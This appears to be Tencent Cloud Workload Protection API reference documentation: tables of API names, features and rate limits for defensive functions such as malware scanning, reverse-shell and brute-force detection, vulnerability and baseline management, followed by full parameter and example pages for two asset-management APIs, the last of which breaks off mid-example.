ExportAssetMachineDetail	Exports asset management host resource details	20
DescribeAssetPortCount	Obtains the total number of ports	20
ExportAssetPortInfoList	Exports the list of asset management ports	20
DescribeAssetProcessCount	Obtains the total number of processes	20
DescribeProcessStatistics	Obtains the process statistics data	20

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ExportAssetProcessInfoList	Exports the asset management process list	20
DescribeAssetAppCount	Obtains the number of all software applications	20
ExportAssetAppList	Export the list of asset management applications	20
DescribeAssetDatabaseCount	Obtains the number of all databases	20
ExportAssetDatabaseList	Exports the list of asset management databases	20
DescribeAssetWebAppCount	Obtains the number of all web applications	20
ExportAssetWebAppList	Exports the list of asset management Web applications	20
DescribeAssetWebServiceCount	Obtains the number of all web services	20
ExportAssetWebServiceInfoList	Exports the list of asset management Web services	20
DescribeAssetWebLocationCount	Obtains the total number of Web sites	20
ExportAssetWebLocationList	Exports the list of Web sites	20
DescribeAssetWebLocationPathList	Obtains the list of Web sites' virtual directories	20
DescribeAssetWebFrameCount	Obtains the number of all Web frameworks	20
ExportAssetWebFrameList	Exports the list of asset management Web frameworks	20
ExportAssetCoreModuleList	Exports the list of asset management kernel modules	20
DescribeAssetDiskList	Obtains the host disk partition list	20
DescribeFileTamperRules	List of core file monitoring rules	20
DescribeMachineFileTamperRules	Queries host-related core file monitoring rules	20

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ExportAssetEnvList	Exports the list of asset management environment variables	20
DescribeAssetHostTotalCount	Obtains the total number of resources of the host	20
DescribeAssetTotalCount	Obtains the number of resources	20
ExportAssetInitServiceList	Exports the list of asset management startup services	20
ExportAssetJarList	Exports the list of Jar packages	20
ExportAssetPlanTaskList	Exports the list of scheduled asset management tasks	20
ExportAssetSystemPackageList	Exports the list of system installation packages for asset management	20
DescribeAssetUserKeyList	Obtains the list of host account Keys	20
DescribeOpenPortStatistics	Obtains the list of port statistics	20
DescribeComponentStatistics	Obtains the list of component statistics	20
DescribeHistoryAccounts	Obtains the account change history list	20
DescribeAccountStatistics	Obtains the account statistics data	20
DeleteMachineClearHistory	Deletes clearing records of a machine	20
DescribeAssetInfo	Obtains the number of assets	20
ModifyMachineAutoClearConfig	Modifies the cleanup configuration of the machine	20
DescribeExportMachines	Exports the list of hosts in a specific region	20
DescribeMachineClearHistory	Queries the clearing history records of a machine	20
DeleteMachine	Uninstalls the CWPP client	20
CreateIncidentBacktracking	Triggers event investigation backtracking	20

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DescribeMachineRegionList	Queries the list of host regions	20

Virus Scanning APIs

API Name	Feature	Frequency Limit (maximum requests per second)
DescribeMalWareList	Obtains the Trojan list	20
DescribeMalwareInfo	Views malicious file details	20
DeleteMalwares	Deletes Trojan records	20
TrustMalwares	Trusts Trojan files	20
DescribeMalwareWhiteList	Obtains the list of Trojan allowlists	20
DescribeNetAttackWhiteList	Obtains the network attack allowlist list	20
DescribeMalwareWhiteListAffectList	Obtains the list of affected Trojan allowlists	20
UntrustMalwares	Untrusts Trojan files	20
DeleteMalwareWhiteList	Deletes the Trojan whitelist	20
DeleteNetAttackWhiteList	Deletes the network attack allowlist	20
SeparateMalwares	Isolates Trojans	20
RecoverMalwares	Recovers Trojan files	20
DescribeMalwareFile	Obtains Trojan file download addresses	20
CreateScanMalwareSetting	Detects the virus scanning	20
DeleteMalwareScanTask	Terminates the scan tasks	20
DescribeScanMalwareSchedule	Queries the Trojan scan progress	20
DescribeMalwareRiskWarning	Risk warning prompt	20

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ModifyMalwareTimingScanSettings	Sets scheduled scan	20
DescribeMalwareTimingScanSetting	Queries scheduled scan configuration	20
DescribeServersAndRiskAndFirstInfo	Obtains virus scanning overview information	20
DescribeVulDefenceSetting	Obtains the current vulnerability defense plugin settings	20
DescribeVulDefencePluginExceptionCount	Obtains the current number of abnormal plugins	20
DescribeVulDefenceOverview	Obtains the vulnerability defense overview information	20
DescribeJavaMemShellList	Queries the list of Java webshell events	20
ModifyJavaMemShellsStatus	Modifies the Java webshell event status	20
DescribeJavaMemShellPluginList	Queries the Java webshell plugin list	20
DeleteAllJavaMemShells	Deletes all Java webshell events	20
DescribeJavaMemShellInfo	Queries Java webshell event details	20
DescribeJavaMemShellPluginInfo	Queries the Java webshell plugin information of the given host	20
ModifyJavaMemShellPluginSwitch	Enables and disables Java webshell plugins	20
CreateMalwareWhiteList	Creates a Trojan allowlist	20
CreateNetAttackWhiteList	Creates a network attack allowlist	20
DescribeMalwareRiskOverview	Obtains the information of virus scanning overview	20
DescribeRiskProcessEvents	Obtains the list of abnormal processes	20
ModifyMalwareWhiteList	Edits the Trojan allowlist	20

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ModifyNetAttackWhiteList	Edits the network attack whitelist	20
ExportJavaMemShellPlugins	Exports the Java webshell plugin information	20
ExportJavaMemShells	Exports the list of Java webshell events	20
ExportMalwares	Exports Trojan records	20
ExportRiskProcessEvents	Exports abnormal process events	20

Abnormal Log-in APIs

API Name	Feature	Frequency Limit (maximum requests per second)
DeleteNonlocalLoginPlaces	Deletes cross-region log-in records	20
DescribeLoginWhiteCombinedList	Obtains the list of cross-region log-in allowlists after merge	20
ModifyLoginWhiteRecord	Updates the log-in audit record information	20
DescribeLoginWhiteList	Obtains the cross-region log-in allowlist list	20
AddLoginWhiteLists	Adds cross-region log-in allowlists in batches	20
ModifyLoginWhiteInfo	Updates the log-in audit allowlist information	20
DeleteLoginWhiteList	Deletes the cross-region log-in allowlist rules	20
DescribeLoginWhiteHostList	Queries the list of allowlisted machines after merge	20
ExportNonlocalLoginPlaces	Exports cross-region log-in records	20
DescribeHostLoginList	Retrieves log-in audit list	20
DescribeUsualLoginPlaces	Queries common log-in locations	20

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Password Cracking APIs

API Name	Feature	Frequency Limit (maximum requests per second)
DescribeBanMode	Obtains brute-force blocking mode	20
ModifyBanMode	Modifies the brute-force blocking mode	20
DescribeBanStatus	Obtains the block button status	20
ModifyBanStatus	Sets the block switch status	20
DescribeBanWhiteList	Obtains the blocking allowlist list	20
DescribeBanRegions	Obtains the block region	20
StopNoticeBanTips	Stops displaying pop-up prompts about brute force cracking blocking	20
DeleteBruteAttacks	Deletes brute force attack records	20
CreateBanWhiteList	Adds the list of block allowlists.	20
DescribeBruteAttackRules	Obtains brute force cracking rules	20
DeleteBanWhiteList	Deletes the list of blocking allowlists	20
ModifyBruteAttackRules	Modifies brute force cracking rules	20
ModifyBanWhiteList	Modifies the blocking allowlist	20
ExportBruteAttacks	Exports password cracking records	20
DescribeBruteAttackList	Obtains the list of password cracking	20

Malicious Request APIs

API Name	Feature	Frequency Limit (maximum requests per second)
DescribeRiskDnsList	Obtains the malicious request list	20
DeleteMaliciousRequests	Deletes malicious request records	20

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CreateMaliciousRequestWhiteList	Adds malicious request allowlist	20
ModifyMaliciousRequestWhiteList	Updates the malicious request allowlist	20
DeleteMaliciousRequestWhiteList	Deletes malicious request allowlist	20
DescribeMaliciousRequestWhiteList	Queries the list of malicious request allowlists	20
DeleteRiskDnsEvent	Deletes malicious request events	20
DeleteRiskDnsPolicy	Deletes malicious request policies	20
DescribeRiskDnsEventInfo	Queries malicious request event details	20
DescribeRiskDnsEventList	Obtains the list of malicious request events	20
DescribeRiskDnsPolicyList	Obtains the list of malicious request policies	20
ExportRiskDnsPolicyList	Exports the malicious request policy list	20
ModifyRiskDnsPolicy	Modifies malicious request policies	20
ModifyRiskDnsPolicyStatus	Modifies the status of malicious request policies	20
DescribeRiskDnsInfo	Queries malicious request details	20
ExportMaliciousRequests	Exports the downloaded malicious request files	20
ExportRiskDnsEventList	Exports the malicious request event list	20

High-Risk Command APIs

API Name	Feature	Frequency Limit (maximum

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		requests per second)
DescribeBashEvents	Obtains the high-risk command list	20
DescribeBashEventsNew	Obtains the list of high-risk commands (new)	20
SetBashEventsStatus	Sets high-risk command event status	20
DeleteBashEvents	Deletes high-risk command events	20
DescribeBashPolicies	Obtains the list of high-risk command policies	20
DescribeBashRules	Obtains the list of high-risk command rules	20
EditBashRules	Adds or Modifies high-risk command rules (multiple servers supported)	20
ModifyBashPolicy	Adds or Modifies high-risk command policies	20
DeleteBashPolicies	Deletes high-risk command policies	20
DeleteBashRules	Deletes high-risk command rules	20
ModifyBashPolicyStatus	Switches the statuses of high-risk command policies	20
SwitchBashRules	Switches the statuses of high-risk command rules	20
CheckBashPolicyParams	Verifies parameters for high-risk commands added by the user	20
CheckBashRuleParams	Verifies parameters for adding high-risk command user rules	20
DescribeBashEventsInfo	High-risk command details	20
DescribeBashEventsInfoNew	Obtains high-risk command details (new)	20
ExportBashEvents	Exports high-risk command events	20
ExportBashEventsNew	Exports high-risk command events (new)	20
ExportBashPolicies	Exports the high-risk command policy	20

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Local Privilege Escalation APIs

API Name	Feature	Frequency Limit (maximum requests per second)
DeletePrivilegeEvents	Deletes local privilege escalation events	20
DescribePrivilegeRules	Obtains the list of local privilege escalation rules	20
DeletePrivilegeRules	Deletes local privilege elevation rules	20
EditPrivilegeRules	Adds or Modifies local privilege elevation rules (multiple servers supported)	20
DescribePrivilegeEventInfo	Queries local privilege escalation details	20
ExportPrivilegeEvents	Exports local privilege escalation events	20

Reverse Shell APIs

API Name	Feature	Frequency Limit (maximum requests per second)
DescribeReverseShellEvents	Obtains the list of Reverse Shell	20
DeleteReverseShellEvents	Deletes Reverse Shell events	20
DescribeReverseShellRules	Obtains the list of Reverse Shell rules	20
DeleteReverseShellRules	Deletes Reverse Shell rules	20
EditReverseShellRules	Edits reverse shell rules (multiple servers supported)	20
DescribeReverseShellEventInfo	Queries reverse shell details	20
ExportReverseShellEvents	Exports reverse shell events	20

Vulnerability Management APIs

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API Name	Feature	Frequency Limit (maximum requests per second)
ScanVul	Performs one-click vulnerability scans	20
DescribeScanSchedule	Queries the detection progress	20
ScanVulAgain	Redetects the API	20
DescribeVdbAndPocInfo	Obtains virus database and POC updates	20
DescribeVulEmergentMsg	Obtains vulnerability emergency notifications	20
DescribeVulTop	Obtains statistics of top vulnerability	20
DescribeVulHostTop	Obtains the list of top server risks	20
DescribeVulHostCountScanTime	Obtains the number of vulnerabilities pending to be processed and affected hosts	20
DescribeUndoVulCounts	Obtains the number of vulnerabilities of a specified category	20
DescribeVulCountByDates	Obtains the number of vulnerabilities of specified types in recent days and the number of hosts	20
DescribeVulLevelCount	Queries the statistics of vulnerability quantity and level distribution	20
ExportVulList	Exports the vulnerability list	15
CreateEmergencyVulScan	Creates emergency vulnerability scan tasks	20
DescribeVulCveIdInfo	Queries vulnerability details by CveId	20
DescribeVulInfoCvss	Vulnerability details	20
DescribeVulEffectHostList	Obtains the list of hosts affected by vulnerabilities	10
DescribeVulEffectModules	List of components affected by vulnerabilities	20
ExportVulEffectHostList	Exports the list of hosts affected by vulnerabilities	20
ExportVulInfo	Exports the vulnerability information	20

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IgnoreImpactedHosts	Ignores vulnerabilities	20
CancelIgnoreVul	Unignores the vulnerabilities	20
ExportVulDetectionReport	Exports the vulnerability detection report	20
ModifyVulDefenceSetting	Modifies vulnerability defense plugin settings	20
ExportVulDefencePluginEvent	Exports vulnerability defense plugin events	20
DescribeVulDefencePluginDetail	Obtain the vulnerability defense plugin information on a single host	20
DescribeVulDefenceEvent	Obtains the list of vulnerability defense events	20
ExportVulDefenceEvent	Exports vulnerability defense events	20
ModifyVulDefenceEventStatus	Changes the vulnerability defense event status	20
DescribeDefenceEventDetail	Obtains vulnerability defense event details	20
CreateVulFix	Submits the vulnerabilities and fixes them	20
DescribeCanFixVulMachine	Queries the fixable host information	20
DescribeMachineSnapshot	Query recent snapshots created by the host	20
DescribeVulDefenceList	Queries the vulnerability defense list	20
DescribeVulFixStatus	Checks the host vulnerability fixing progress	20
ExportVulDefenceList	Exports the list of vulnerability defenses	20
RetryCreateSnapshot	Retries to create snapshots	20
RetryVulFix	Retries to fix vulnerabilities	20
DescribeScanVulSetting	Queries the configuration for regular detection	20
ScanVulSetting	Completes regular vulnerability scan settings	20
DescribeEmergencyVulList	List of emergency vulnerabilities	20
DescribeVulDefencePluginStatus	Obtains the vulnerability defense plugin status of each host	20
ExportVulDetectionExcel	Exports the vulnerability detection Excel document.	20
DescribeVulList	List of vulnerabilities	20

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New Baseline Management APIs

API Name	Feature	Frequency Limit (maximum requests per second)
DeleteBaselinePolicy	Deletes the baseline policy configuration	20
DescribeBaselineHostDetectList	Obtains the list of hosts for baseline detection	20
DescribeBaselineItemDetectList	Obtains the list of baseline detection items	20
DescribeBaselineItemList	Obtains the list of check results on baseline check items	20
DescribeBaselinePolicyList	Obtains the list of baseline policies	20
DescribeBaselineWeakPasswordList	Obtains the list of baseline weak passwords	20
DescribeIgnoreHostAndItemConfig	Obtains the information of affected inspection items and hosts ignored with one click.	20
ExportBaselineFixList	Exports the list of fixing baselines	20
ExportBaselineHostDetectList	Exports the baseline for host detection	20
ExportBaselineItemDetectList	Exports baseline check items	20
StartBaselineDetect	Performs baseline checks	20
StopBaselineDetect	Stops baseline check	20
SyncBaselineDetectSummary	Syncs the summary of baseline detection progress	20
DescribeHotVulTop	Obtains hot spot vulnerabilities across the entire network	20
DescribeVulStoreList	Obtains the vulnerability database list	20
ModifyBaselinePolicy	Modifies or adds baseline policy settings	20

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Baseline Management APIs

API Name	Feature	Frequency Limit (maximum requests per second)
DescribeBaselineTop	TOP baseline detection items	20
DescribeBaselineHostTop	Top N server risk APIs	20
DescribeBaselineDefaultStrategyList	Queries the list information of default policies of the baseline	20
CreateBaselineStrategy	Creates a baseline policy	20
DescribeStrategyExist	Queries whether a policy exists by policy name	20
UpdateBaselineStrategy	Updates the baseline policy information	20
DeleteBaselineStrategy	Deletes the baseline policy	20
DescribeBaselineStrategyList	Queries the list of a user's baseline policies	20
DescribeBaselineStrategyDetail	Queries baseline policy details	20
DescribeBaselineBasicInfo	Queries the basic information of the baseline	20
DescribeBaselineEffectHostList	List of hosts affected by a baseline	20
DescribeBaselineList	Queries the baseline list	20
DescribeBaselineDetail	Queries baseline details	20
ScanBaseline	Baseline detection APIs	20
DescribeBaselineScanSchedule	Queries the baseline detection progress	20
CheckFirstScanBaseline	Queries whether the baseline is detected for the first time	20
ChangeStrategyEnableStatus	Changes policy availability status	20
ChangeRuleEventsIgnoreStatus	Changes the event ignoring status	20

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DescribeIgnoreBaselineRule	Queries the information of ignored inspection items	20
DescribeIgnoreRuleEffectHostList	Queries the list of hosts affected by ignored detection items	20
DescribeBaselineRule	Queries the baseline check item information	20
ExportBaselineEffectHostList	Exports the list of hosts affected by baseline	20
ExportBaselineList	Exports the baseline list	20
ExportIgnoreBaselineRule	Exports ignored baseline detection items	20
ExportIgnoreRuleEffectHostList	Exports the list of hosts affected by ignored detection items	20

Advanced Defense APIs

API Name	Feature	Frequency Limit (maximum requests per second)
DescribeAttackEvents	List of network attack detection events	20
DescribeAttackLogs	List of network attack logs (Discarded. Use DescribeAttackEvents instead.)	20
DescribeMachineDefenseCnt	Queries the statistics of advanced defense events for hosts	20
DescribeMachineRiskCnt	Queries the statistics of host intrusion detection events	20
ExportFileTamperEvents	Exports core file events	20
DescribeAttackVulTypeList	Obtains the list of network attack threat types	20
DescribeVulLabels	Obtains the vulnerability tag list	20

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DescribeVulOverview	Obtains the data of vulnerability overview	20
CheckFileTamperRule	Checks the rule parameters entered at the core file monitoring frontend	20
DescribeRansomDefenseBackupList	Queries the list of host snapshot backups	20
DescribeRansomDefenseEventsList	Queries the anti-ransomware event list	20
DescribeRansomDefenseMachineList	Queries the list of backup details	20
DescribeRansomDefenseRollBackTaskList	Queries the rollback task list	20
DescribeRansomDefenseStrategyMachines	Queries the list of machines bound to an anti-ransomware policy	20
ModifyWebPageProtectSwitch	Enables or disables website protection	20
ModifyFileTamperEvents	Updates the core file events	20
ModifyFileTamperRuleStatus	Updates the core file rule status	20
DescribeFileTamperEventRuleInfo	Views the rule details API when an event occurs	20
DescribeFileTamperRuleCount	Queries the number of rules for monitoring files associated with a host	20
DescribeFileTamperRuleInfo	Queries details of a file monitoring rule	20
ModifyRansomDefenseEventsStatus	Modifies the status of anti-ransomware events	20
DescribeFileTamperEvents	Obtains the list of core file monitoring events	20
DescribeRansomDefenseStrategyList	Queries the list of anti-ransomware policies	20
ExportRansomDefenseBackupList	Exports the list of host snapshot backups	20
ExportRansomDefenseEventsList	Exports the list of anti-ransomware	20

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	events	
ExportRansomDefenseMachineList	Exports the backup details list	20
ExportRansomDefenseStrategyList	Exports the anti-ransomware policy list	20
ExportRansomDefenseStrategyMachines	Exports the list of machines bound to ransomware defense policies	20
ModifyFileTamperRule	Edits core file monitoring rules	20
ExportFileTamperRules	Exports core file monitoring rules	20
ModifyNetAttackSetting	Modifies network attack settings	20
DescribeAttackEventInfo	Obtains network attack details	20
DescribeAttackStatistics	Network attack data statistics	20
DescribeAttackTop	List of Top network attacks	20
DescribeAttackTrends	Obtains the network attack trend data	20
DescribeNetAttackSetting	Queries network attack settings	20
ExportAttackEvents	Exports network attack events	20
CreateRansomDefenseStrategy	Creates or modifies anti-ransomware policies	20

Security Operation APIs

API Name	Feature	Frequency Limit (maximum requests per second)
DescribeHistoryService	Queries the log retrieval service information	20
DescribeLogStorageStatistic	Obtains the statistics of the used log retrieval capacity.	20
DescribeSearchLogs	Obtains historical search records	20
CreateSearchLog	Adds history search records	20

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DescribeSearchTemplates	Obtains the list of quick retrievals	20
CreateSearchTemplate	Adds the retrieval template	20
DeleteSearchTemplate	Deletes the retrieval template	20
DescribeIndexList	Obtains the index list	20
DescribeESAggregations	Obtains the aggregation result of the ES field	20
DescribeLogType	Obtains log types	20

Expert Service APIs

API Name	Feature	Frequency Limit (maximum requests per second)
DescribeAvailableExpertServiceDetail	Available order details	20
DescribeExpertServiceOrderList	Obtains the expert service order list	20
DescribeExpertServiceList	Obtains the security manager list	20
DescribeMonthInspectionReport	Downloads the monthly inspection report of the security manager	20
DescribeEmergencyResponseList	Obtains the emergency response list	20

Other APIs

API Name	Feature	Frequency Limit (maximum requests per second)
DescribeSecurityBroadcastInfo	Queries the information of security report articles	20
DescribeLogStorageConfig	Obtains the log storage configuration	20
DescribeLogStorageRecord	Obtains the record of stored log size	20

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ModifyLogStorageConfig	Modifies the log storage configuration	20
DescribeTrialReport	Queries the trial report	20
DescribeAssetEnvList	Queries the list of asset management environment variables	20
DescribeABTestConfig	Obtains the current grayscale configuration of the user	20
DescribeRiskBatchStatus	Queries whether the intrusion detection event update task is completed	20
ExportTasks	Exports tasks asynchronously	20
DescribeGeneralStat	Obtains the statistics data of hosts.	20
DescribeScreenGeneralStat	Obtains the visualized statistics data of hosts on the screen	20
DescribeVersionStatistics	Obtains the number of machines of Professional and Basic editions	20
DescribeProVersionInfo	Obtains the overview information of the Professional edition	20
DescribeSafeInfo	Queries the security notification	20
DescribeOverviewStatistics	Obtains the overview statistics	20
DescribeSecurityDynamics	Obtains the dynamic message of security events	20
DescribeRansomDefenseMachineStrategyInfo	Obtains the list of policies bound to a host	20
DescribeRansomDefenseState	Obtain user anti-ransomware trends	20
DescribeRansomDefenseStrategyDetail	Obtains the policy details	20
DescribeRansomDefenseTrend	Obtains the ransomware situation across the entire network	20
DescribeSecurityEventStat	Obtains the statistics of security events	20
ModifyRansomDefenseStrategyStatus	Modifies the anti-ransomware policy status in batches	20

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RansomDefenseRollback	Rolls back anti-ransomware snapshots	20
DescribeScreenAttackHotspot	Obtains the attacked hot spots across the entire network through the large screen visualization	20
DescribeScreenBroadcasts	Obtains the security report on the large screen	20
DescribeScreenDefenseTrends	Obtains attack and defense trends on the large screen	20
DescribeScreenEmergentMsg	Obtains the visualized emergency notification on the large screen	20
DescribeScreenEventsCnt	Obtains the screen security event statistics data	20
DescribeScreenHostInvasion	Obtains the visualized host intrusion details on the large screen	20
DescribeScreenMachineRegions	Obtains the list of available visualized host regions on the large screen	20
DescribeScreenMachines	Obtains the visualized list of hosts on the large screen.	20
DescribeScreenProtectionCnt	Visualized introduction of CWPP engine on the large screen	20
DescribeScreenRiskAssetsTop	Top 5 risky assets (by today) on the large screen	20
DescribeSecurityEventsCnt	Obtains the statistics data of security events	20
DescribeSecurityTrends	Obtains the security event statistics data	20
ExportSecurityTrends	Exports risk trends	20
DescribeScanTaskDetails	Queries the scan task details	20
DescribeScanState	Queries the scan status	20
DeleteScanTask	Stops scan tasks	20

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DescribeScanTaskStatus	Queries the list of machine scan statuses	20
ScanTaskAgain	Restarts the scan task	20
DescribeAgentInstallCommand	Obtains the agent installation command	20
DescribePublicProxyInstallCommand	Obtains the installation command of the public network access proxy	20
DescribeVersionCompareChart	Obtains the version comparison information	20
CreateBuyBindTask	Create a binding task for newly purchased authorizations	20
SyncMachines	Syncs the machine information	20
CheckLogKafkaConnectionState	Checks the connectivity for log shipping from Kafka	20
CreateLogExport	Creates log download tasks	20
DeleteLogExport	Deletes log download tasks	20
DescribeAESKey	Obtains the configured aeskey and aesiv	20
DescribeAssetTypes	Obtains the asset fingerprint type list	20
DescribeAttackSource	Backtrack attacks	20
DescribeAttackSourceEvents	Queries attack backtracking events	20
DescribeCanNotSeparateMachine	Obtains hosts where Trojans cannot be isolated	20
DescribeClientException	Obtain client exception events	20
DescribeFastAnalysis	Quick analysis and statistics of logs	20
DescribeLogDeliveryKafkaOptions	Queries the list of logs available for shipping to Kafka.	20
DescribeLogExports	Obtains the list of log download tasks	20
DescribeLogHistogram	Obtains the log histogram information	20

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DescribeLogIndex	Queries the index	20
DescribeLogKafkaDeliverInfo	Obtains information of Kafka shipping	20
DescribeScreenProtectionStat	Obtains the security protection status on the large screen	20
DescribeWarningHostConfig	Queries the alarming machine scope settings	20
ModifyLogKafkaAccess	Adds or modifies the access configuration of logs shipped to Kafka	20
ModifyLogKafkaDeliverType	Modifies the shipping configuration and switch of the specified log category	20
ModifyLogKafkaState	Modifies the information of log shipping statuses	20
ModifyEventAttackStatus	Modifies the status of network attack events	20
ModifyRiskEventsStatus	Changes the status of intrusion detection events	20
ModifyWarningHostConfig	Modifies the alarming machine scope settings	20
SearchLog	Queries logs	20
StopAssetScan	Stops the asset scan task	20
ClearLocalStorage	Cleans up the locally stored data	20
DescribeLicenseWhiteConfig	Queries the configurations for authorization allowlists	20
DescribeProductStatus	Queries the product trial status	20
GetLocalStorageItem	Obtains the locally stored data	20
KeysLocalStorage	Obtains the list of locally stored key values	20
RemoveLocalStorageItem	Deletes the locally stored data	20
SetLocalStorageExpire	Sets the expiration time of the locally stored data	20

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SetLocalStorageItem	Sets the locally stored data	20
DescribeVulTrend	Obtain information of the vulnerability situation	20
ExportScanTaskDetails	Exports scan task details	20
DescribeAlarmIncidentNodes	Obtains all node information on the event corresponding to an alarm	20
DescribeAlarmVertexId	Queries the list of alarm IDs	20
DescribeEventByTable	Queries alarm event details based on event table names and IDs	20
DescribeProVersionStatus	Obtains the status of Professional edition	20
DescribeVertexDetail	Obtains the attribute information of the specified point.	20
DeleteWebHookPolicy	Deletes alarm policies	20
DeleteWebHookReceiver	Deletes the alert recipient	20
DescribeRecommendedProtectCpu	Queries the recommended number of protection cores for purchase	20
DescribeUsersConfig	Queries the user's configuration	20
DescribeWebHookPolicy	Queries alarm policies	20
DescribeWebHookReceiver	Queries the list of alarm recipients	20
DescribeWebHookReceiverUsage	Queries the usage of policies associated with the specified alarm recipient	20
ModifyUsersConfig	Modifies user settings	20
ModifyWebHookPolicy	Adds or modifies alarm policies.	20
ModifyWebHookPolicyStatus	Modifies the alarm policy switch	20
ModifyWebHookReceiver	Adds or updates the alarm recipient	20

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Overview Statistics APIs

API Name	Feature	Frequency Limit (maximum requests per second)
DescribeSecurityProtectionStat	Obtains the status of security protection	20
DescribeSecurityBroadcasts	Security report list	20

Settings Center APIs

API Name	Feature	Frequency Limit (maximum requests per second)
DescribeWarningList	Obtains the list of the current user's alarms	20
ModifyWarningSetting	Modifies alarm settings	20
ModifyAutoOpenProVersionConfig	Sets the configuration of automatic enabling	20
DescribeLicenseGeneral	Obtains the authorization overview information	20
DescribeLicenseList	Obtains the authorization order list	20
DeleteLicenseRecord	Deletes authorization records	20
DescribeLicenseBindList	Views the list of hosts bound to the authorization	20
ModifyLicenseBinds	Binds machines to an authorization in batches	20
DescribeLicenseBindSchedule	Queries the binding progress of the authorization	20
CreateLicenseOrder	Creates authorization orders	20
DeleteLicenseRecordAll	Deletes all authorization records	20
DestroyOrder	Terminates orders	20

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CreateWhiteListOrder	Creates allowlist orders	20
DeleteWebHookRule	Deletes the rules of WeCom chatbots	20
DescribeLicense	Queries the authorization information	20
DescribeWebHookRule	Obtains the details of the WeCom chatbot rules	20
DescribeWebHookRules	Obtains the list of WeCom chatbot rules	20
ExportLicenseDetail	Exports authorization details	20
ModifyWebHookRule	Adds or modifies the rules of WeCom chatbots	20
ModifyWebHookRuleStatus	Modifies the rules of WeCom chatbots.	20
TestWebHookRule	Tests the rules of WeCom chatbots	20
ModifyLicenseOrder	Edits authorization orders	20

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Asset Management APIs
DescribeAssetMachineList

Last updated：2024-12-06 15:42:05

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the resource monitoring list of the asset fingerprint page.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetMachineList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	Filter criteria • MachineName Host name • InstanceID Instance ID • IP Private or public IP address • OsType - String - required: no - Windows or Linux • CpuLoad - Int - required: no - 0: unknown; 1: low load; 2: medium load; 3: high load

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			• DiskLoad - Int - required: no - 0: 0% or unknown; 1: 0%-20%; 2: 20%～50% 3: 50%～80% 4: 80%～100% • MemLoad - Int - required: no - 0: 0% or unknown; 1: 0%-20%; 2: 20%～50% 3: 50%～80% 4: 80%～100% • Quuid: Host QUUID • Os - String required: no - operating system (value of DescribeMachineOsList)
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.
Offset	No	Integer	Offset. Default value: 0.
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Optional sorting method [FirstTime|PartitionCount]

3. Output Parameters

Parameter Name	Type	Description
Total	Integer	Total number
Machines	Array of AssetMachineBaseInfo	Record list Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Resource Monitoring List

This example shows you how to obtain the resource monitoring list.

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Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetMachineList
<Common request parameters>

{}
```

Output Example


```
{
"Response": {
"Total": 1,
"Machines": [
{
"Quuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"Uuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"MachineIp": "10.0.0.11",
"MachineName": "test-name",
"OsInfo": "CentOs Bit64",
"Cpu": "Intel(R) Xeon(R) Gold 6148 CPU @ 2.40GHz",
"MemSize": 1,
"MemLoad": "49",
"DiskSize": 1,
"DiskLoad": "41",
"PartitionCount": 1,
"MachineWanIp": "110.84.0.11",
"ProjectId": 1,
"CpuSize": 1,
"CpuLoad": "Intel(R) Xeon(R) Gold 6148 CPU @ 2.40GHz",
"Tag": [
{
"Rid": 0,
"Name": "test-name",
"TagId": 1
}
],
"UpdateTime": "2024-10-11 12:23:34",
"IsNew": 0,
"FirstTime": "2024-10-11 12:23:34",
"MachineExtraInfo": {
"WanIP": "110.84.0.11",
"PrivateIP": "10.0.0.11",
"NetworkType": 0,
```


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```
"NetworkName": "vpc-12341234",
"InstanceID": "ins-aj28fjz",
"HostName": "test-name"
}
}
],
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Node.js
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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.

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InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAssetMachineDetail

Last updated：2024-12-06 15:42:05

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain asset management host resource details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetMachineDetail.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	Yes	String	Server QUUID
Uuid	Yes	String	Server UUID

3. Output Parameters

Parameter Name	Type	Description

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MachineDetail	AssetMachineDetail	Host details
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Asset Management Host Resource Details

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetMachineDetail
<Common request parameters>

{
"Quuid": "7dc822ab-1eaa-d469-67e2-0eed63e8be9c",
"Uuid": "7dc822ab-1eaa-d469-67e2-0eed63e8be9c"
}
```

Output Example

```
{
"Response": {
"MachineDetail": {
